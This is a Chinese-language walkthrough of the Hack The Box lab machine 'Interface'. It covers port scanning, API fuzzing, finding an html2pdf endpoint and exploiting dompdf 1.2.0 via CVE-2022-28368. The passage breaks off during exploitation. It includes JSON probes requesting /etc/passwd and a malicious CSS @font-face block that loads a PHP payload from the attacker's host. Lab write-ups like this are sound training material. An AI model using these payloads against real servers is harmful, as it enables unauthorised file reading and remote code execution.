hackthebox --interface medium
主机发现nmap -sV -sC -O -p22,80 10.10.11.200 -oN ports
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526211704003-621285589.png
访问80页面,主页面是这样的
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526211938333-1597549942.png
再访问一下index.php或者index.html 发现是404错误,
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526212034414-1388994593.png
有可能是里面隐藏了一些api我们可以查看到搜索看看有没有类似的api泄露
利用f12查看js源码
搜索http:// 或者/ 或者/upload
这里搜索到的是/api
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526212349584-373016239.png
说明这里是有可能跳转到某个api的路径,利用bp在路径上进行访问,并且要用get,post两种不同的方式进行repeat
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526212202404-657945623.png
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526212652795-1312894097.png
可以看到由Next.js支持的 既然是js支持那就是上传的数据最好都是json格式的数据
去掉api单纯看看有无反应 发现200返回
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526212939570-1706996196.png
看到右边的返回包有一大段的路径,发现里面有一个域名叫 http://prd.m.rendering-api.interface.htb 一看就是和主题有关的路径,直接访问看看情况如何
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526213130895-129722781.png
抓包看看具体情况
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526213252235-2033370641.png
发现就只有一个file not found 那是利用get方式还是post方式提交的file呢 如果是post方式的话,interact关键词是什么呢
change一下request method进行上传
ost 方式然后先尝试用关键词file当key进行上传查询
content-type: application/json
{"file":"/etc/passwd"}
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526213639418-1232072370.png
仍然是没有找到
利用Fuzz进行查找
copy to file 并修改file->FUZZ (failure) 这一步是为了在这个页面看看能不能找到一个能够与server interact的参数
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526213845387-1733046608.png
利用fuff进行请求
fuff -request file.req -request-proto http -w /opt/xxdictionary -mc all -fs 36
fuff用户手册:mirrors / ffuf / ffuf · GitCode
解析:-request -- File containing the raw http request
-request-proto Protocol to use along with raw request (default: https)
-mc match Match HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403,405,500)
-sf Stop when > 95% of responses return 403 Forbidden (default: false)
利用gobuster对新发现域名的爆破
sudo gobuster -u http://prd.m.rendering-api.interface.htb -w /opt/xxx dictionary -t 100 (指定线程)
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526215027328-1110872135.png
gobuster爆破后的结果为0
再利用post方式进行爆破(新)
sudo gobuster -u http://xx.htb -w -t 100 -m POST
在爆破之余,将bp替换掉原本的域名index.php换成prd.m.rendering-api.interface.htb 利用api这个已暴露的路径看看是否由返回值
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526214950702-478283249.png
发现同样是404
第二步FUZZ 像gobuster一样爆破 (模糊路径)
fuff -u http://prd.m.rendering-api.interface.htb/FUZZ -w /opt/Seclists/discovery/web-content/raft-small-wordlists.txt -mc all -fs 0 https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526215619426-1655458460.png
fuzz出来一个404 和上面自己手动的方式一样
再利用fuzz对api后的路径进行模糊测试
fuff -u http://xx.htb/api/FUZZ -w /opt/xx -mc all -fs (根据输出的多少进行判断) 失败
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526215931793-1140331372.png
再利用post方式进行fuzz
fuff -u http://xx.htb -w /xx -mc all -fs 50 -d ' x=x'
解析: -d POST data
利用feroxbuster进行爆破路径
feroxbuster -u http://prd.m.rendering-api.interface.htb/api -m GET,POST (新) 成功
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526220300392-12340845.png
将该html2pdf放入到bp里面repeat
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526220643450-1195236283.png
post方式传一下 (一定要注意get post相互转换)
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526220733182-1000380219.png
提示为 missing parameters 就是说我们缺乏一个参数能够与server进行interact的
由于是因为next.js支持,所以post方式一定是json格式进行上传
构造json数据
{"file":"/etc/passwd"}
改content-type 为application/json
或者直接进行fuzz测试
构造{"FUZZ":"/etc/passwd" } 改content-type 为application/json
copy to file 利用ffuf测试
ffuf -request file.req -request-proto http -w /opt/xx dictionary -mc all -fs 36 (失败)
但是失败原因在于字典没有html 所以有一个好字典是非常重要的
换一个字典继续尝试
在测试的同时可以手动预估
由于/api后面的路径是html2pdf,所以根据人的习性来说,interact参数可能是html
尝试是不是html (成功)
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526221638371-154074554.png
同时ffuf换了一个字典之后也成功发现html
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230526221738323-1010020290.png
利用bp的copy to command curl 利用curl获得返回包的所有数据并拷贝成一个pdf文件
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230527113228385-1001119807.png
利用exiftools进行下载查看pdf的类型和版本
producer是dompdf 1.2.0
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230527113350513-1387842732.png
google it 看看有没有漏洞
发现CVE-2022-28368
https://img2023.cnblogs.com/blog/2175261/202305/2175261-20230527113530050-916096765.png
本质上是利用css的标签下载这个css,并运行的时候,css内还有一个内置的外部链接下载另一个php文件
漏洞利用
1.inject css
这段是恶意css 内容复制到please.css里面
@font-face {$
font-family:'TestFont';$
src:url('http://kali ip/exploit_font.php')$
font-weight:'normal';$
font-style:'normal';$
}$
kali开启http服务'里面放了一个exploit_font.php 和exploit.css
exploit_font.php是由positive-security/dompdf-rce中 raw下载的攻击php这个攻击php的文件名要对上css里面src对应的文件名
准备就绪后,利用漏洞页面进行html2pdf的页面进行css的上传
写
页:
[1]